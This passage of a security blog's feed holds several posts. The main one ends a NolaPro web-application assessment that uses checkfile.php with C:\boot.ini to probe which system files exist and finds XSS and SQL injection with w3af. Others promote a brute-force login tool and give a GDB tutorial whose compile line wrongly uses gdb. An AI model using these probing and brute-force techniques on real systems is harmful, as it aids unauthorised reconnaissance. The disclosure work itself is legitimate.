When executing the script, we obtain an output similar to this :&lt;br /&gt;
&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Page: accounts.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 2&lt;br /&gt;
Page: action_addupdate.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6853&lt;br /&gt;
Page: adminachdownload.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6846&lt;br /&gt;
Page: adminapccvendoradd.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6855&lt;br /&gt;
Page: adminapccvendorupd.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6855&lt;br /&gt;
Page: adminapchkacctadd.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6860&lt;br /&gt;
Page: adminapchkacctupd.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6858&lt;br /&gt;
Page: adminapglacct.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6850&lt;br /&gt;
Page: adminapgroupsadd.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6853&lt;br /&gt;
Page: adminapgroupsupd.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6853&lt;br /&gt;
Page: adminapilog.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6848&lt;br /&gt;
Page: adminapilogdata.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 33&lt;br /&gt;
Page: adminappaytermsadd.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6859&lt;br /&gt;
Page: adminappaytermsupd.php&lt;br /&gt;
&amp;nbsp;Code: Net::HTTPOK Length: 6859&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;
As we can see, most pages return a length around 6850 bytes. However, in this output, we see 2 clear outliers : &lt;i&gt;accounts.php&lt;/i&gt; with a length of 2 and &lt;i&gt;adminapilogdata.php&lt;/i&gt;. I then manually reviewed each of those pages (about 15) and found an interesting one : &lt;i&gt;checkfile.php&lt;/i&gt;. This script takes a php script name and returns some information about the variables. However, we can use it to verify if some files exist on the system. For example, this is the output obtained when we input &lt;i&gt;C:\boot.ini&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_9BvPEH0xq_M/S9yj1ggMOKI/AAAAAAAAAEg/1x0aRkUJGnY/s1600/checkfile_bootini.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="125" src="http://1.bp.blogspot.com/_9BvPEH0xq_M/S9yj1ggMOKI/AAAAAAAAAEg/1x0aRkUJGnY/s400/checkfile_bootini.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
In comparison, passing an invalid path will result in the following output :&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_9BvPEH0xq_M/S9ykB8PmGQI/AAAAAAAAAEo/2S7MbQqcbb0/s1600/checkfile_invalid.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="135" src="http://4.bp.blogspot.com/_9BvPEH0xq_M/S9ykB8PmGQI/AAAAAAAAAEo/2S7MbQqcbb0/s400/checkfile_invalid.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The warning is due to the fact that I enabled them on my system to make scanning more effective and wouldn't normally appear. However, we see that the script writes &lt;i&gt;No pude!&lt;/i&gt; when the file does not exist. While we can't read the content of files, this could be used by an attacker to precisely identify the environment he is attacking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Phase 3 : Some more scanning&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;Our first tests revealed that the application has some problems, so there are good chances it contains common flaws like cross-site scripting, command execution or injection. Enter &lt;a href="http://w3af.sourceforge.net/"&gt;w3af&lt;/a&gt;. w3af is an open-source web application scanning tool that provides modules for a lot of tests, of which a full list is available here : &lt;a href="http://w3af.sourceforge.net/plugin-descriptions.php"&gt;http://w3af.sourceforge.net/plugin-descriptions.php&lt;/a&gt;. w3af is designed to be easy to use and while it has some stability issues it is quite effective.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;However, if we simply point w3af to our Nolapro installation and launch it, the scan finishes in a few seconds. The reason is simple : since w3af is not logged-in, it can't access any pages other than the login form. To perform the scan, we will enable the &lt;i&gt;SpiderMan &lt;/i&gt;module. SpiderMan is a proxy which will log our requests to the server. See &lt;a href="http://securityaudit.blogspot.com/2009/09/using-w3af-for-testing-web-application.html"&gt;http://securityaudit.blogspot.com/2009/09/using-w3af-for-testing-web-application.html&lt;/a&gt; for a detailled explanation on how to use it. Basically, &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;we will configure our browser to use the  proxy and log in the application and navigate the pages. w3af will intercept the cookie provided by the web application and use it for its tests.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;w3af found 3 XSS flaws, 1 command execution and 1 potential SQL injection. Manual review revealed the XSS and SQL flaws were indeed present (the command execution seems to be a false positive).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_9BvPEH0xq_M/S9yrwe6RgxI/AAAAAAAAAEw/vWlPHsC6Elw/s1600/xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://1.bp.blogspot.com/_9BvPEH0xq_M/S9yrwe6RgxI/AAAAAAAAAEw/vWlPHsC6Elw/s400/xss.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;Conclusion&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;With this assessment, we saw that completely automated scans are bound to miss interesting flaws; however, we can use automated tests to do a lot of repetitive and simple tasks and perform verification of common flaws with minimal manual testing. In the context of a complete assessment, manual testing time would be better spent in the verification of logic flaws that are difficultly automated but nonetheless very important to check for. Using the proverbial formula, this is left as an exercise to the reader, at least until a next blog post :-)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;I want to end by thanking Noguska for their great response and providing a patched version in a couple of days. Thanks also to Corelan Team for being such a great group to be part of.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-2258450357765423284?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/VFsA91Un-nk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/2258450357765423284/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2010/05/additionnal-details-on-nolapro.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/2258450357765423284?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/2258450357765423284?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2010/05/additionnal-details-on-nolapro.html" title="Additional details on NolaPro vulnerabilities (CORELAN-10-035)" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_9BvPEH0xq_M/S9yWhBPCw9I/AAAAAAAAAEY/oJ1KQ6LxC0Q/s72-c/ioncube_nolapro.png" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;DUIFRH88cCp7ImA9WxBUGUU.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-8275084178020716449</id><published>2010-03-07T13:45:00.000-05:00</published><updated>2010-03-07T13:45:15.178-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-07T13:45:15.178-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="tools" /><category scheme="http://www.blogger.com/atom/ns#" term="bruteforce" /><title>Video : Using Fireforce to brute-force web login forms</title><content type="html">&lt;a href="http://scrt.ch/pages/fireforce.html"&gt;Fireforce &lt;/a&gt;is a Firefox extension to do brute-force attacks on web forms. Here's a short video I made that explains how to use it.&lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;object height="505" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/yNa7AlnrtG0&amp;hl=en_US&amp;fs=1&amp;hd=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/yNa7AlnrtG0&amp;hl=en_US&amp;fs=1&amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="505"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-8275084178020716449?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/esdG6pPwMGk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/8275084178020716449/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2010/03/video-using-fireforce-to-brute-force.html#comment-form" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/8275084178020716449?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/8275084178020716449?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2010/03/video-using-fireforce-to-brute-force.html" title="Video : Using Fireforce to brute-force web login forms" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>1</thr:total></entry><entry gd:etag="W/&quot;DkABQ3wyfSp7ImA9WxNaEEU.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-9158779172006248179</id><published>2009-11-24T12:45:00.000-05:00</published><updated>2009-11-24T12:45:52.295-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-24T12:45:52.295-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="fail" /><category scheme="http://www.blogger.com/atom/ns#" term="fuite information" /><title>FAIL@Microsoft</title><content type="html">Ce matin je voulais tester l'outil de révision de code CAT.NET de Microsoft. Pendant l'installation de .NET Framework 4.0 Beta 2, j'ai obtenu la fenêtre suivante :&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_9BvPEH0xq_M/SwwaI4jVREI/AAAAAAAAACY/vQbmu5CutEE/s1600/EULA.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/SwwaI4jVREI/AAAAAAAAACY/vQbmu5CutEE/s640/EULA.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
Le texte de la licence doit faire une vingtaine de page et est affiché dans un fente d'à peine 1 pouce de hauteur. Si Microsoft veut que l'on accepte ses licences sans les lire, aussi bien nous le dire directement.&lt;br /&gt;
&lt;br /&gt;
Plus tard, je télécharge &lt;b&gt;&lt;span style="font-family: 'Times New Roman','serif'; font-size: 12pt;"&gt;Web Application Configuration Analyzer (WACA)&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: 'Times New Roman','serif'; font-size: 12pt;"&gt;, un autre outil de Microsoft. J'obtiens la page suivante :&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Times New Roman','serif'; font-size: 12pt;"&gt;&amp;nbsp; &lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_9BvPEH0xq_M/SwwbN6EdCoI/AAAAAAAAACg/bIQTHcp_Ss0/s1600/fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/SwwbN6EdCoI/AAAAAAAAACg/bIQTHcp_Ss0/s640/fail.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span style="font-family: 'Times New Roman','serif'; font-size: 12pt;"&gt;Je crois qu'une relecture du &lt;a href="http://www.owasp.org/index.php/Top_10_2007-A6"&gt;point 6&lt;/a&gt; du Top 10 OWASP s'impose...&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-9158779172006248179?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/Y8qGhVZP4O4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/9158779172006248179/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/11/failmicrosoft.html#comment-form" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/9158779172006248179?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/9158779172006248179?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/11/failmicrosoft.html" title="FAIL@Microsoft" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_9BvPEH0xq_M/SwwaI4jVREI/AAAAAAAAACY/vQbmu5CutEE/s72-c/EULA.png" height="72" width="72" /><thr:total>1</thr:total></entry><entry gd:etag="W/&quot;A0UDQX89eCp7ImA9WxFTFUs.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-2864324066496371926</id><published>2009-11-13T11:39:00.001-05:00</published><updated>2010-04-06T11:54:30.160-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-04-06T11:54:30.160-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="hackfest" /><category scheme="http://www.blogger.com/atom/ns#" term="fuzzing" /><category scheme="http://www.blogger.com/atom/ns#" term="presentation" /><title>Présentation sur le fuzzing et les tests d'intrusions</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_9BvPEH0xq_M/Sv2KqdO8uKI/AAAAAAAAACQ/_zuB3g-IvVc/s1600-h/presentation_fuzzing.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_9BvPEH0xq_M/Sv2KqdO8uKI/AAAAAAAAACQ/_zuB3g-IvVc/s320/presentation_fuzzing.png" /&gt;&lt;/a&gt;&lt;/div&gt;Le 7 novembre dernier, je faisais une présentation avec mon collègue Éric Gingras au &lt;a href="http://www.hackfest.ca/"&gt;Hackfest 2009&lt;/a&gt;. Notre présentation portait sur le fuzzing et les tests d'intrusion. Elle est maintenant disponible en &lt;a href="http://www.gardienvirtuel.ca/wp-content/uploads/2010/03/Hackfest_2009_-_Pr_sentation_Fuzzing_GV_Final_EG.pdf"&gt;téléchargement&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-2864324066496371926?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/tMCQNdVga9g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/2864324066496371926/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/11/presentation-sur-le-fuzzing-et-les.html#comment-form" title="3 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/2864324066496371926?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/2864324066496371926?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/11/presentation-sur-le-fuzzing-et-les.html" title="Présentation sur le fuzzing et les tests d'intrusions" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_9BvPEH0xq_M/Sv2KqdO8uKI/AAAAAAAAACQ/_zuB3g-IvVc/s72-c/presentation_fuzzing.png" height="72" width="72" /><thr:total>3</thr:total></entry><entry gd:etag="W/&quot;DkICQ3w7cCp7ImA9WxNWGEw.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-1505763824295785587</id><published>2009-10-17T13:48:00.013-04:00</published><updated>2009-10-17T17:22:42.208-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-17T17:22:42.208-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="gdb" /><category scheme="http://www.blogger.com/atom/ns#" term="debugging" /><title>GDB reverse debugging tutorial</title><content type="html">&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm3.static.flickr.com/2458/3573882430_12a311fae1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 171px; height: 130px;" src="http://farm3.static.flickr.com/2458/3573882430_12a311fae1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Update : Thanks to Michael Snyder for the tip on making watchpoints work.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;GDB 7.0 was released last week with a major new feature : reverse debugging. Even though some related commands are documented in the gdb manual, I have yet to find an article explaining how to use this neat feature. So here it is : my GDB reverse debugging tutorial.&lt;br /&gt;&lt;br /&gt;If you are impatient to test it and already know gdb, here are the useful commands :&lt;br /&gt;&lt;ul&gt;&lt;li  style="color: rgb(51, 204, 255);font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;break main&lt;/span&gt;&lt;/li&gt;&lt;li  style="color: rgb(51, 204, 255);font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;run&lt;/span&gt;&lt;/li&gt;&lt;li  style="color: rgb(51, 204, 255);font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;record&lt;/span&gt;&lt;/li&gt;&lt;li style="color: rgb(51, 204, 255);"&gt;&lt;span style="font-size:85%;"&gt;continue to a certain point&lt;/span&gt;&lt;/li&gt;&lt;li  style="color: rgb(51, 204, 255);font-family:courier new;"&gt;&lt;span style="color: rgb(51, 204, 255);font-family:courier new;font-size:85%;"  &gt;reverse-step, reverse-next, reverse-continue, reverse-finish&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;First, you need to get version 7 of GDB. If like me you are using &lt;a href="http://www.archlinux.org/"&gt;Arch Linux&lt;/a&gt;, then it is already available in the official repositories, else you'll need to go through the compilation process.&lt;br /&gt;&lt;br /&gt;Next, compile your program with the -ggdb switch. This is not mandatory but will allow you to follow the program execution line by line (instead of relying on the assembly instructions). For this article, we'll use a very basic C program.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;void foo() {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     printf("inside foo()");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     int x = 6;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     x += 2;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;int main() {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     int x = 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     x = x+2;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     foo();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     printf("x = %d\n", x);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     x = 4;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;     return(0);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We compile it with the -ggdb switch :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;gdb -ggdb -o test test.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Next we open the program with gdb as usual :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;gdb test&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Now, we need to record the execution of the program, but we need to first start the program to do so. We'll set a breakpoint on the main function so that the program stops at the very beginning of the code.&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) break main&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Breakpoint 1 at 0x80483ed: file test.c, line 11.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) run&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Starting program: /home/ekse/test Breakpoint 1, main () at test.c:11 11 int x = 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Our program is now started. To record the execution, simply type the &lt;span style="font-style: italic;"&gt;record&lt;/span&gt; command :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) record&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The execution is now recorded. We'll now execute the first lines of code with the &lt;span style="font-style: italic;"&gt;next&lt;/span&gt; command :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) next&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;12 x = x+2;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) next&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;13 foo();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) print x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;$1 = 2&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;As you can see, the value of the x variable is now 2. Now, we can go back one line with the &lt;span style="font-style: italic;"&gt;reverse-next&lt;/span&gt; command :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) reverse-next&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;12 x = x+2;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) print x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;$2 = 0&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Reverse execution worked as expected ! Breakpoints also work in reverse execution. For example, we'll set a breakpoint on the line 16 to stop just before the end of the program.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) break 16&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Breakpoint 5 at 0x8048414: file test.c, line 16.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) cont&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Continuing. inside foo()x = 2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Breakpoint 5, main () at test.c:16 15 return(0);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;We are now at the end of the program. Now let's say we want to go back to when the foo() function was called. We set a breakpoint on it and use &lt;span style="font-style: italic;"&gt;reverse-continue&lt;/span&gt; :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) break foo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Breakpoint 6 at 0x80483ca: file test.c, line 4.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) reverse-continue&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Continuing.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Breakpoint 6, foo () at test.c:4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;4               printf("inside foo()");&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It is also possible to use watchpoints. By using the  &lt;span style="font-style: italic;"&gt;watch&lt;/span&gt; command, we can make the program stop when the value of a variable is changed. To make it work, we must disable hardware watchpoints prior to setting our watchpoint :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) set can-use-hw-watchpoints 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) watch x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Watchpoint 3: x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) reverse-continue&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Continuing.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Watchpoint 3: x&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Old value = 4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;New value = 2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;main () at test.c:14&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;14              x = 